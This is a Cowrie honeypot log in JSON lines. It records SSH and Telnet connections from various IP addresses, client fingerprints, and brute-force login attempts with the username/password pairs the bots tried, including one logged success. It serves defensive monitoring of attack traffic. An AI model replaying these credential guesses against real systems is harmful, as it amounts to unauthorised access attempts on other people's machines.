{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:09.928296Z","src_ip":"170.80.65.140","session":"5d7f222b58c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:10.056370Z","src_ip":"170.80.65.140","session":"5d7f222b58c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:10.582481Z","src_ip":"170.80.65.140","session":"5d7f222b58c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:11.711282Z","src_ip":"170.80.65.140","session":"5d7f222b58c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":47498,"dst_ip":"10.17.0.5","dst_port":22,"session":"888926c67fe5","protocol":"ssh","message":"New connection: 170.80.65.140:47498 (10.17.0.5:22) [session: 888926c67fe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:11.831033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:11.836782Z","src_ip":"170.80.65.140","session":"888926c67fe5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:11.961708Z","src_ip":"170.80.65.140","session":"888926c67fe5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:12.490853Z","src_ip":"170.80.65.140","session":"888926c67fe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:12.619447Z","src_ip":"170.80.65.140","session":"e14ecba005f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:12.623072Z","src_ip":"170.80.65.140","session":"888926c67fe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.041064500808716,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:14.794436Z","src_ip":"172.81.62.90","session":"731e298296fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.497939109802246,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:15.098051Z","src_ip":"172.81.62.90","session":"0f32e85f8c4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":41078,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2ffc85830f6","protocol":"ssh","message":"New connection: 27.71.230.31:41078 (159.203.135.109:22) [session: d2ffc85830f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:16.150949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:16.163562Z","src_ip":"27.71.230.31","session":"d2ffc85830f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:16.421009Z","src_ip":"27.71.230.31","session":"d2ffc85830f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin#1234!","message":"login attempt [root/Admin#1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:22.002006Z","src_ip":"27.71.230.31","session":"d2ffc85830f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.202969551086426,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:22.668025Z","src_ip":"128.199.8.54","session":"fabbdc46fe26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:23.372375Z","src_ip":"27.71.230.31","session":"d2ffc85830f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.479952812194824,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:33.532315Z","src_ip":"172.81.62.90","session":"fd9be7b0c72e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":39512,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c470ff5be16","protocol":"ssh","message":"New connection: 165.154.137.186:39512 (10.17.0.5:22) [session: 8c470ff5be16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:34.701350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:34.705706Z","src_ip":"165.154.137.186","session":"8c470ff5be16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:34.958711Z","src_ip":"165.154.137.186","session":"8c470ff5be16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:35.718547Z","src_ip":"165.154.137.186","session":"8c470ff5be16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:36.973613Z","src_ip":"165.154.137.186","session":"8c470ff5be16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":49888,"dst_ip":"159.203.135.109","dst_port":22,"session":"131d10997a13","protocol":"ssh","message":"New connection: 109.237.96.109:49888 (159.203.135.109:22) [session: 131d10997a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:46.481414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:46.485432Z","src_ip":"109.237.96.109","session":"131d10997a13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:46.573995Z","src_ip":"109.237.96.109","session":"131d10997a13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"max2005","message":"login attempt [root/max2005] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:46.842549Z","src_ip":"109.237.96.109","session":"131d10997a13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:47.933589Z","src_ip":"109.237.96.109","session":"131d10997a13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":46302,"dst_ip":"10.17.0.5","dst_port":22,"session":"62e135ae6cbd","protocol":"ssh","message":"New connection: 165.154.137.186:46302 (10.17.0.5:22) [session: 62e135ae6cbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:51.477453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:51.481404Z","src_ip":"165.154.137.186","session":"62e135ae6cbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":35956,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cb631e71b23","protocol":"ssh","message":"New connection: 43.153.12.68:35956 (10.17.0.5:22) [session: 6cb631e71b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:51.648478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:51.651823Z","src_ip":"43.153.12.68","session":"6cb631e71b23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:51.723042Z","src_ip":"43.153.12.68","session":"6cb631e71b23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:51.733734Z","src_ip":"165.154.137.186","session":"62e135ae6cbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@2025","message":"login attempt [user/user@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:52.030332Z","src_ip":"43.153.12.68","session":"6cb631e71b23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:52.475835Z","src_ip":"165.154.137.186","session":"62e135ae6cbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:53.100756Z","src_ip":"43.153.12.68","session":"6cb631e71b23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:53.725525Z","src_ip":"165.154.137.186","session":"62e135ae6cbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":45038,"dst_ip":"10.17.0.5","dst_port":22,"session":"68dcf34c4032","protocol":"ssh","message":"New connection: 103.216.145.2:45038 (10.17.0.5:22) [session: 68dcf34c4032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:58.786197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:58.793922Z","src_ip":"103.216.145.2","session":"68dcf34c4032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:58.989666Z","src_ip":"103.216.145.2","session":"68dcf34c4032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami123","message":"login attempt [bitnami/bitnami123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:59.807554Z","src_ip":"103.216.145.2","session":"68dcf34c4032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":58388,"dst_ip":"159.203.135.109","dst_port":22,"session":"e18256c05fd6","protocol":"ssh","message":"New connection: 193.37.70.224:58388 (159.203.135.109:22) [session: e18256c05fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:59.890608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:50:59.895240Z","src_ip":"193.37.70.224","session":"e18256c05fd6","protocol":"ssh"}
